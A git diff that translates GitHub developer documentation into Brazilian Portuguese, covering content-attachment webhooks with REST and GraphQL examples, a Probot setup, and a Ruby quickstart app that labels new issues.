+Um aplicativo GitHub pode registrar domínios que ativarão eventos `content_reference`. Quando alguém inclui uma URL que é ligada a um domínio registrado no texto ou comentário de um problema ou pull request, o aplicativo recebe o webhook[`content_reference`](/webhooks/event-payloads/#content_reference). Você pode usar os anexos de conteúdo para fornecer visualmente mais contexto ou dados para a URL adicionada a um problema ou pull request. A URL deve ser uma URL totalmente qualificada, começando com `http://` ou `https://`. As URLs que fazem parte de um link markdown são ignoradas e não ativam o evento `content_reference`.
 
-Before you can use the {% data variables.product.prodname_unfurls %} API, you'll need to configure content references for your GitHub App:
-* Give your app `Read & write` permissions for "Content references."
-* Register up to 5 valid, publicly accessible domains when configuring the "Content references" permission. Do not use IP addresses when configuring content reference domains. You can register a domain name (example.com) or a subdomain (subdomain.example.com).
-* Subscribe your app to the "Content reference" event.
+Antes de usar a API {% data variables.product.prodname_unfurls %}, você deverá configurar as referências de conteúdo para o seu aplicativo GitHub:
+* Dê ao seu aplicativo permissões de `Leitura & gravação` para as "Referências de conteúdo".
+* Registre até 5 domínios válidos e publicamente acessíveis ao configurar a permissão de "Referências de conteúdo". Não use endereços IP ao configurar domínios de referência de conteúdo. Você pode registrar um nome de domínio (exemplo.com) ou um subdomínio (subdomínio.exemplo.com).
+* Assine seu aplicativo no evento "Referência do conteúdo".
 
-Once your app is installed on a repository, issue or pull request comments in the repository that contain URLs for your registered domains will generate a content reference event. The app must create a content attachment within six hours of the content reference URL being posted.
+Uma vez instalado seu aplicativo em um repositório, Os comentários do problema ou pull request no repositório que contêm URLs para seus domínios registrados gerarão um evento de referência de conteúdo. O aplicativo deve criar um anexo de conteúdo em seis horas após a URL de referência de conteúdo ser postada.
 
-Content attachments will not retroactively update URLs. It only works for URLs added to issues or pull requests after you configure the app using the requirements outlined above and then someone installs the app on their repository.
+Os anexos de conteúdo não farão a atualização retroativa das URLs. Funciona apenas para as URLs adicionadas a problemas ou pull requests depois que você configurar o aplicativo que usa os requisitos descritos acima e, em seguida, alguém instalar o aplicativo em seu repositório.
 
-See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" or "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" for the steps needed to configure GitHub App permissions and event subscriptions.
+Consulte "[Criar um aplicativo GitHub](/apps/building-github-apps/creating-a-github-app/)" ou"[Editar as permissões de um aplicativo GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" para as etapas necessárias para configurar as permissões e assinaturas de eventos do aplicativo GitHub.
 
-## Implementing the content attachment flow
+## Implementar o fluxo de anexo de conteúdo
 
-The content attachment flow shows you the relationship between the URL in the issue or pull request, the `content_reference` webhook event, and the REST API endpoint you need to call to update the issue or pull request with additional information:
+O fluxo de anexo de conteúdo mostra a relação entre a URL no problema ou pull request, o evento do webhook `content_reference`, de ` e o ponto de extremidade da API REST que você precisa chamar para atualizar o problema ou pull request com informações adicionais:</p>
 
-**Step 1.** Set up your app using the guidelines outlined in [About content attachments](#about-content-attachments). You can also use the [Probot App example](#example-using-probot-and-github-app-manifests) to get started with content attachments.
+<p spaces-before="0"><strong x-id="1">Etapa 1.</strong> Configure seu aplicativo usando as diretrizes definidas em <a href="#about-content-attachments">Sobre anexos de conteúdo</a>. Você também pode usar o <a href="#example-using-probot-and-github-app-manifests">exemplo do aplicativo Probot</a> para dar os primeiros passos com os anexos de conteúdo.</p>
 
-**Step 2.** Add the URL for the domain you registered to an issue or pull request. You must use a fully qualified URL that starts with `http://` or `https://`.
+<p spaces-before="0"><strong x-id="1">Etapa 2.</strong> Adicione a URL para o domínio que você registrou para um problema ou pull request. Você deve usar uma URL totalmente qualificada que comece com <code>http://` ou `https://`.
 
-![URL added to an issue](/assets/images/github-apps/github_apps_content_reference.png)
+![URL adicionada a um problema](/assets/images/github-apps/github_apps_content_reference.png)
 
-**Step 3.** Your app will receive the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) with the action `created`.
+**Etapa 3.** Seu aplicativo receberá o [`content_reference` webhook](/webhooks/event-payloads/#content_reference) com a ação `criada`.
 
 ``` json
 {
@@ -57,12 +58,12 @@ The content attachment flow shows you the relationship between the URL in the is
 }
 ```
 
-**Step 4.** The app uses the `content_reference` `id` and `repository` `full_name` fields to [Create a content attachment](/rest/reference/apps#create-a-content-attachment) using the REST API. You'll also need the `installation` `id` to authenticate as a [GitHub App installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+**Etapa 4.** O aplicativo usa os campos `content_reference` `id` e `repositório` `full_name` para [Criar um anexo de conteúdo](/rest/reference/apps#create-a-content-attachment) usando a API REST. Você também precisará do `id` da `instalação` para efetuar a autenticação como uma [instalação do aplicativo GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-The `body` parameter can contain markdown:
+O parâmetro do `texto` pode conter markdown:
 
 ```shell
 curl -X POST \
@@ -70,24 +71,24 @@ curl -X POST \
   -H 'Accept: application/vnd.github.corsair-preview+json' \
   -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
   -d '{
-	"title": "[A-1234] Error found in core/models.py file",
-	"body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+    "title": "[A-1234] Error found in core/models.py file",
+    "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
 }'
 ```
 
-For more information about creating an installation token, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
+Para obter mais informações sobre a criação de um token de instalação, consulte "[Efetuando a autenticação como um aplicativo GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)".
 
-**Step 5.** You'll see the new content attachment appear under the link in a pull request or issue comment:
+**Etapa 5.** Você verá o novo anexo de conteúdo aparecer no link de um pull request ou comentário de um problema:
 
-![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+![Conteúdo anexado a uma referência em um problema](/assets/images/github-apps/content_reference_attachment.png)
 
-## Using content attachments in GraphQL
-We provide the `node_id` in the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) event so you can refer to the `createContentAttachment` mutation in the GraphQL API.
+## Usar anexos de conteúdo no GraphQL
+Nós fornecemos o `node_id` no evento [`content_reference` webhook](/webhooks/event-payloads/#content_reference) para que você possa fazer referência à mutação `createContentAttachment` na API do GraphQL.
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-For example:
+Por exemplo:
 
 ``` graphql
 mutation {
@@ -106,7 +107,7 @@ mutation {
   }
 }
 ```
-Example cURL:
+Exemplo de cURL:
 
 ```shell
 curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
@@ -118,23 +119,23 @@ curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
 }'
 ```
 
-For more information on `node_id`, see "[Using Global Node IDs]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)."
+Para obter mais informações sobre `node_id`, consulte "[Usando IDs de nós globais]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)".
 
-## Example using Probot and GitHub App Manifests
+## Exemplo de uso de manifestos do Probot e do aplicativo GitHub
 
-To quickly setup a GitHub App that can use the {% data variables.product.prodname_unfurls %} API, you can use [Probot](https://probot.github.io/). See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" to learn how Probot uses GitHub App Manifests.
+Para configurar rapidamente um aplicativo GitHub que pode usar a API do {% data variables.product.prodname_unfurls %}, você pode usar o [Probot](https://probot.github.io/). Consulte "[Criando aplicativos GitHub a partir de um manifesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para saber como o Probot usa manigestos do aplicativo GitHub.
 
-To create a Probot App, follow these steps:
+Para criar um aplicativo Probot, siga as etapas a seguir:
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-2. Open the project you created, and customize the settings in the `app.yml` file. Subscribe to the `content_reference` event and enable `content_references` write permissions:
+1. [Gerar um novo aplicativo GitHub](https://probot.github.io/docs/development/#generating-a-new-app).
+2. Abra o projeto que você criou e personalize as configurações no arquivo `app.yml`. Assine o evento `content_reference` e habilite as permissões de gravação `content_reference`:
 
    ``` yml
     default_events:
       - content_reference
-    # The set of permissions needed by the GitHub App. The format of the object uses
-    # the permission name for the key (for example, issues) and the access type for
-    # the value (for example, write).
+    # The set of permissions needed by the GitHub App. O formato do objeto usa
+    # o nome da permissão para a chave (por exemplo, problemas) e o tipo de acesso para
+    # o valor (por exemplo, gravação)
     # Valid values are `read`, `write`, and `none`
     default_permissions:
       content_references: write
@@ -146,7 +147,7 @@ To create a Probot App, follow these steps:
         value: example.org
    ```
 
-3. Add this code to the `index.js` file to handle `content_reference` events and call the REST API:
+3. Adicione este código ao arquivo `index.js` para lidar com eventos `content_reference` e chamar a API REST:
 
     ``` javascript
     module.exports = app => {
@@ -167,13 +168,13 @@ To create a Probot App, follow these steps:
     }
     ```
 
-4. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally). Navigate to `http://localhost:3000`, and click the **Register GitHub App** button:
+4. [Execute o aplicativo GitHub localmente](https://probot.github.io/docs/development/#running-the-app-locally). Acesse `http://localhost:3000` e clique no botão **Registrar aplicativo GitHub**:
 
-   ![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+   ![Registrar um aplicativo GitHub do Probot](/assets/images/github-apps/github_apps_probot-registration.png)
 
-5. Install the app on a test repository.
-6. Create an issue in your test repository.
-7. Add a comment to the issue you opened that includes the URL you configured in the `app.yml` file.
-8. Take a look at the issue comment and you'll see an update that looks like this:
+5. Instale o aplicativo em um repositório de teste.
+6. Crie um problema no seu repositório de teste.
+7. Adicione um comentário ao problema aberto que inclui a URL que você configurou no arquivo `app.yml`.
+8. Dê uma olhada no comentário do problema e você verá uma atualização que se parece com isso:
 
-   ![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+   ![Conteúdo anexado a uma referência em um problema](/assets/images/github-apps/content_reference_attachment.png)
diff --git a/translations/pt-BR/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/pt-BR/content/developers/apps/guides/using-the-github-api-in-your-app.md
index fa26be18c7..1b27d3818c 100644
--- a/translations/pt-BR/content/developers/apps/guides/using-the-github-api-in-your-app.md
+++ b/translations/pt-BR/content/developers/apps/guides/using-the-github-api-in-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub API in your app
-intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations.
+title: Usar a API do GitHub no seu aplicativo
+intro: Aprenda como configurar seu aplicativo para ouvir eventos e usar a biblioteca do Octokit para realizar operações da API REST.
 redirect_from:
   - /apps/building-your-first-github-app
   - /apps/quickstart-guides/using-the-github-api-in-your-app
@@ -12,89 +12,90 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Build an app with the REST API
+shortTitle: Crie um aplicativo com a API REST
 ---
-## Introduction
 
-This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed.
+## Introdução
 
-This project will walk you through the following:
+Este guia irá ajudá-lo a criar um aplicativo GitHub e executá-lo em um servidor. O aplicativo que você criar adicionará uma etiqueta a todos os novos problemas abertos no repositório onde o aplicativo está instalado.
 
-* Programming your app to listen for events
-* Using the Octokit.rb library to do REST API operations
+Este projeto orientará você no seguinte:
+
+* Programar seu aplicativo para ouvir eventos
+* Usar a biblioteca do Octokit.rb para realizar operações da API REST
 
 {% data reusables.apps.app-ruby-guides %}
 
-Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %}
+Uma concluídas as etapas, você estará pronto para desenvolver outros tipos de integrações usando o conjunto completo das APIS do GitHub. {% ifversion fpt or ghec %}Você pode conferir exemplos bem-sucedidos de aplicativos no [GitHub Marketplace](https://github.com/marketplace) e em [Trabalhos com GitHub](https://github.com/works-with).{% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You may find it helpful to have a basic understanding of the following:
+Você pode achar útil ter um entendimento básico do seguinte:
 
-* [GitHub Apps](/apps/about-apps)
+* [Aplicativos do GitHub](/apps/about-apps)
 * [Webhooks](/webhooks)
-* [The Ruby programming language](https://www.ruby-lang.org/en/)
-* [REST APIs](/rest)
+* [Linguagem de programação Ruby](https://www.ruby-lang.org/en/)
+* [APIs REST](/rest)
 * [Sinatra](http://sinatrarb.com/)
 
-But you can follow along at any experience level. We'll link out to information you need along the way!
+Mas é possível acompanhar o processo em qualquer nível de experiência. Nós vamos nos conectar a informações de que você precisa ao longo do caminho!
 
-Before you begin, you'll need to do the following:
+Antes de começar, você precisará fazer o seguinte:
 
-1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+1. Clone o repositório [Usando a API do GitHub no seu aplicativo](https://github.com/github-developer/using-the-github-api-in-your-app).
   ```shell
     $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git
   ```
 
-  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+  Dentro do diretório, você encontrará um arquivo `template_server.rb` com o código do template você usará neste início rápido e um arquivo `server.rb` arquivo com o código do projeto concluído.
 
-1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+1. Siga as etapas no início rápido [Configurando o seu ambiente de desenvolvimento](/apps/quickstart-guides/setting-up-your-development-environment/) para configurar e executar o servidor do aplicativo `template_server.rb`. Se você já concluiu um início rápido do aplicativo GitHub diferente de [Configurar seu ambiente de desenvolvimento](/apps/quickstart-guides/setting-up-your-development-environment/), você deverá registrar um _novo_ aplicativo GitHub e começar um novo canal da Smee para usar com este início rápido.
 
-  This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+  Este início rápido inclui o mesmo código `template_server.rb` que o início rápido [Configurando o seu ambiente de desenvolvimento](/apps/quickstart-guides/setting-up-your-development-environment/). **Observação:** Conforme você segue com o início rápido [Configurando seu ambiente de desenvolvimento](/apps/quickstart-guides/setting-up-your-development-environment/), certifique-se de usar os arquivos do projeto incluídos no repositório [Usando a API do GitHub no seu aplicativo](https://github.com/github-developer/using-the-github-api-in-your-app).
 
-  See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+  Consulte a seção [Solução de problemas](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) se você tiver problemas na configuração do seu aplicativo GitHub do modelo.
 
-## Building the app
+## Criar o aplicativo
 
-Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed.
+Agora que você está familiarizado com o código `template_server.rb`, você irá criar um código que adiciona automaticamente a etiqueta `needs-response` para todos os problemas abertos no repositório onde o aplicativo está instalado.
 
-The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client.
+O arquivo `template_server.rb` contém código do modelo do aplicativo que ainda não foi personalizado. Neste arquivo, você verá um espaço reservado para manipular eventos de webhook e outro código para inicializar um cliente Octokit.rb.
 
 {% note %}
 
-**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works.
+**Observação:** `template_server.rb` contém muitos comentários de código que complementam este guia e explicam detalhes técnicos adicionais. Você pode considerar útil ler os comentários do arquivo antes de seguir com esta seção, para obter uma visão geral de como o código funciona.
 
-The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though!
+O código final personalizado que você criará no final deste guia é fornecido em [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Mas espere até o final para olhar isso!
 
 {% endnote %}
 
-These are the steps you'll complete to create your first GitHub App:
+Estas são as etapas que você concluirá para criar seu primeiro aplicativo GitHub:
 
-1. [Update app permissions](#step-1-update-app-permissions)
-2. [Add event handling](#step-2-add-event-handling)
-3. [Create a new label](#step-3-create-a-new-label)
-4. [Add label handling](#step-4-add-label-handling)
+1. [Atualizar as permissões do aplicativo](#step-1-update-app-permissions)
+2. [Adicionar gerenciamento de evento](#step-2-add-event-handling)
+3. [Criar nova etiqueta](#step-3-create-a-new-label)
+4. [Adicionar gerenciamento de etiqueta](#step-4-add-label-handling)
 
-## Step 1. Update app permissions
+## Etapa 1. Atualizar as permissões do aplicativo
 
-When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels.
+Quando você [registrou seu aplicativo pela primeira vez](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), você aceitou as permissões-padrão, o que significa que seu aplicativo não tem acesso à maioria dos recursos. Para este exemplo, seu aplicativo precisará de permissão para ler problemas e escrever etiquetas.
 
-To update your app's permissions:
+Para atualizar as permissões do aplicativo:
 
-1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
-1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need.
-1. In the "Subscribe to events" section, select **Issues** to subscribe to the event.
+1. Selecione seu aplicativo na [página de configurações do aplicativo](https://github.com/settings/apps) e clique em **Permissões & Webhooks** na barra lateral.
+1. Na seção "Permissões", encontre "Problemas" e selecione **Leitura & Gravação** no menu "suspenso Acesso" ao lado. A descrição diz que esta opção concede acesso a problemas e etiquetas, o que é exatamente o que você precisa.
+1. Na seção "Assinar eventos", selecione **Problemas** para assinar o evento.
 {% data reusables.apps.accept_new_permissions_steps %}
 
-Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work.
+Ótimo! Seu aplicativo tem permissão para realizar as tarefas que você deseja que ele realize. Agora você pode adicionar o código para que ele funcione.
 
-## Step 2. Add event handling
+## Etapa 2. Adicionar gerenciamento de evento
 
-The first thing your app needs to do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code.
+A primeira coisa que seu aplicativo precisa fazer é ouvir novos problemas que estão abertos. Agora que você se assinou o evento **Problemas**, você começará a receber o webhook dos [`problemas`](/webhooks/event-payloads/#issues), que é acionado quando ocorrem certas ações relacionadas a um problema. Você pode filtrar este tipo de evento para a ação específica que você deseja no seu código.
 
-GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route.
+O GitHub envia cargas do webhook como solicitações de `POST`. Porque você encaminhou suas cargas de webhook da Smee para `http://localhost/event_handler:3000`, seu servidor receberá as cargas de solicitação de `POST` no rota `post '/event_handler'`.
 
-An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+Um encaminhamento vazio `post '/event_handler'` já está incluído no arquivo `template_server.rb`, que você baixou na seção [pré-requisitos](#prerequisites). O encaminhamento vazio tem a seguinte forma:
 
 ``` ruby
   post '/event_handler' do
@@ -107,7 +108,7 @@ An empty `post '/event_handler'` route is already included in the `template_serv
   end
 ```
 
-Use this route to handle the `issues` event by adding the following code:
+Use essa encaminhamento para gerenciar o evento `problemas`, adicionando o seguinte código:
 
 ``` ruby
 case request.env['HTTP_X_GITHUB_EVENT']
@@ -118,9 +119,9 @@ when 'issues'
 end
 ```
 
-Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`.
+Cada evento que o GitHub envia inclui um cabeçalho de solicitação denominado `HTTP_X_GITHUB_EVENT`, que indica o tipo de evento na solicitação de `POST`. No momento, você só está interessado nos tipos de evento de `problemas`. Cada evento tem um campo `ação` adicional que indica o tipo de ação que acionou os eventos. Para `problemas`, o campo `ação` pode ser `atribuído`, `não atribuído`, `etiquetado`, `não etiquetado`,, `abriu`, `editado`, `marcado`,, `desmarcado`, `fechado` ou `reaberto`.
 
-To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter.
+Para testar seu gerenciador de eventos, tente adicionar um método auxiliar temporário. Você irá atualizar mais tarde ao [Adicionar o gerenciamento da etiqueta](#step-4-add-label-handling). Por enquanto, adicione o seguinte código na seção `Ajudantes fazem` do código. Você pode colocar o novo método acima ou abaixo de qualquer outro método de ajuda. A ordem não importa.
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -128,37 +129,37 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues).
+Este método recebe uma carga de eventos formatada em JSON como argumento. Isso significa que você pode analisar a carga no método e detalhar os dados específicos de que você precisa. Você pode achar útil inspecionar a carga completa em algum momento: tente alterar `logger.debug 'An issue was opened!` para `logger.debug payload`. A estrutura da carga que você vê deve corresponder ao que é [mostrado na documentação de evento de webhook dos `problemas`](/webhooks/event-payloads/#issues).
 
-Great! It's time to test the changes.
+Ótimo! É hora de testar as alterações.
 
 {% data reusables.apps.sinatra_restart_instructions %}
 
-In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing.
+No seu navegador, acesse o repositório onde você instalou seu aplicativo. Abra um novo problema neste repositório. O problema pode dizer o que você quiser. É apenas para teste.
 
-When you look back at your Terminal, you should see a message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪
+Ao olhar para o seu Terminal, você deve ver uma mensagem na saída que diz: `Um problema foi aberto!` Parabéns! Você adicionou um gerenciador de eventos ao seu aplicativo. 💪
 
-## Step 3. Create a new label
+## Etapa 3. Criar nova etiqueta
 
-Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in.
+Ok, seu aplicativo pode dizer quando os problemas estão abertos. Agora você quer que ele adicione a etiqueta `needs-response` a qualquer problema recém-aberto em um repositório no qual o aplicativo está instalado.
 
-Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`.
+Antes que a etiqueta possa ser _adicionada_ em qualquer lugar, você precisará _criar_ a etiqueta personalizada no seu repositório. Você só terá de fazer isso uma vez. Para fins deste guia, crie a etiqueta manualmente no GitHub. No seu repositório, clique em **Problemas** e, em seguida, em **Etiquetas** e depois clique em **Nova etiqueta**. Nomeie a nova etiqueta `needs-response`.
 
 {% tip %}
 
-**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide.
+**Dica**: Não seria ótimo se o aplicativo pudesse criar a etiqueta de forma programática? [Ele pode](/rest/reference/issues#create-a-label)! Adicione o código para fazer isso por conta própria depois de concluir as etapas deste guia.
 
 {% endtip %}
 
-Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue).
+Agora que o rótulo foi criado, você pode programar seu aplicativo para usar a API REST para [adicionar a etiqueta a qualquer problema recém-aberto](/rest/reference/issues#add-labels-to-an-issue).
 
-## Step 4. Add label handling
+## Etapa 4. Adicionar gerenciamento de etiqueta
 
-Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/).
+Parabéns! Você chegou à etapa final: adicionando o gerenciamento de etiquetas ao seu aplicativo. Para esta tarefa, você vai irá usar a [biblioteca Octokit.rb do Ruby](http://octokit.github.io/octokit.rb/).
 
-In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method).
+Na documentação do Octokit.rb, encontre a lista de [métodos da etiqueta](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). O método que você vai querer usar será [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method).
 
-Back in `template_server.rb`, find the method you defined previously:
+Ao voltar para `template_server.rb`, encontre o método definido anteriormente:
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -166,13 +167,13 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method:
+A documentação [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) mostra que você precisará passar três argumentos para este método:
 
-* Repo (string in `"owner/name"` format)
-* Issue number (integer)
-* Labels (array)
+* Repo (string em formato `"proprietário/nome"`)
+* Número do problema (inteiro)
+* Etiquetas (array)
 
-You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this:
+Você pode analisar a carga para obter o repositório e o número do problema. Como o nome da etiqueta será sempre o mesmo (`needs-response`) você pode passá-lo como uma string de caracteres codificados no array de etiquetas. Ao juntar essas peças, seu método atualizado pode parecer com isto:
 
 ``` ruby
 # When an issue is opened, add a label
@@ -183,56 +184,56 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing.
+Tente abrir um novo problema no seu repositório de teste e veja o que acontece! Se nada acontecer imediatamente, tente atualizar.
 
-You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue.
+Você não verá muitos coisas no Terminal, _mas_ você deve ver que um usuário bot adicionou uma etiqueta ao problema.
 
 {% note %}
 
-**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)."
+**Observação:** Quando os aplicativos GitHub realizam ações pela API, como, por exemplo, adicionar etiquetas, o GitHub mostra essas ações como sendo realizadas por contas _do bot_. Para obter mais informações, consulte "[Máquina vs. contas de bot](/apps/differences-between-apps/#machine-vs-bot-accounts)".
 
 {% endnote %}
 
-If so, congrats! You've successfully built a working app! 🎉
+Se for assim, parabéns! Você construiu um aplicativo funcional com sucesso! 🎉
 
-You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app).
+Você pode ver o código final no `server.rb` no [repositório do modelo do aplicativo](https://github.com/github-developer/using-the-github-api-in-your-app).
 
-See "[Next steps](#next-steps)" for ideas about where you can go from here.
+Consulte "[Próximos passos](#next-steps)" para ter ideias sobre aonde você pode ir a partir daqui.
 
-## Troubleshooting
+## Solução de Problemas
 
-Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data variables.product.prodname_support_forum_with_url %}.
+Aqui estão alguns problemas comuns e algumas soluções sugeridas. Se você tiver qualquer outro problema, poderá pedir ajuda ou orientação em {% data variables.product.prodname_support_forum_with_url %}.
 
-* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server.
+* **P:** Meu servidor não está ouvindo eventos! O cliente da Smee está sendo executado em uma janela de Terminal, e eu estou enviando eventos para o github.com. abrindo novos problemas, mas não vejo nenhuma saída na janela do Terminal onde estou executando o servidor.
 
-    **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)."
